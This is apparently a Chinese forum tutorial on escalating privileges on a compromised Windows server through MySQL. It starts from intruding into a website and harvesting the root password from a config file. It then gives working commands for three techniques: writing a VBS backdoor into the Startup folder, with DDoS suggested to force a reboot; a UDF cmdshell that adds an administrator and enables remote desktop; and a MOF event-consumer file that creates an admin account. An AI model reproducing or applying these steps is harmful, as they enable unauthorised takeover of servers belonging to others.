新人开车——mysql各种提权
比如我入侵一个网站,通过查找数据库配置文件找到root相关的密码信息,可以尝试提权服务器。。。
/data/common.inc.php这个文件存放数据库配置信息,一般可以查询相关关键字的文件,这里可以找到root密码。
查找到数据库账号密码后,连接上服务器的数据库。
连接数据库: mysql.exe -u账号 -p密码 -hip地址
一、启动项提权
原理:利用高权限的root导入一个vbs脚本到启动项里面然后尝试ddos 等让服务器重启 运行我们的脚本 这里就可以提权了。。。
1、查看我们进入数据库中有些什么数据表
mysql>show tables;
默认的情况下,test中没有任何表的存在。
以下为关键的部分
2、在TEST数据库下创建一个新的表;
mysql>create table abc (cmd text);
好了,我们创建了一个新的表,表名为a,表中只存放一个字段,字段名为cmd,为text文本。
3、在表中插入内容
mysql>insert into a values ("set wshshell=createobject (""wscript.shell"")");
mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1 /add"",0)");
mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators 1 /add"",0)");
注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个VBS的脚本程序!
4、好了,现在我们来看看表a中有些什么
mysql>select * from a;
我们将会看到表中有三行数据,就是我们刚刚输入的内容,确认你输入的内容无误后,我们来到下一步
5、输出表为一个VBS的脚本文件
mysql>select * from a into outfile "c://docume~1//administrator//「开始」菜单//程序//启动//a.vbs";
6.重启即可!
二、UDF提权
create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user iis_user 123!@#abcABC /add');
select cmdshell('net localgroup administrators iis_user /add');
select cmdshell('regedit /s d:web3389.reg');
drop function cmdshell;
select cmdshell('netstat -an');
三、MOF提权
远程系统高级漏洞
mof文件内容为:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
效果就是添加一个用户admin密码admin;
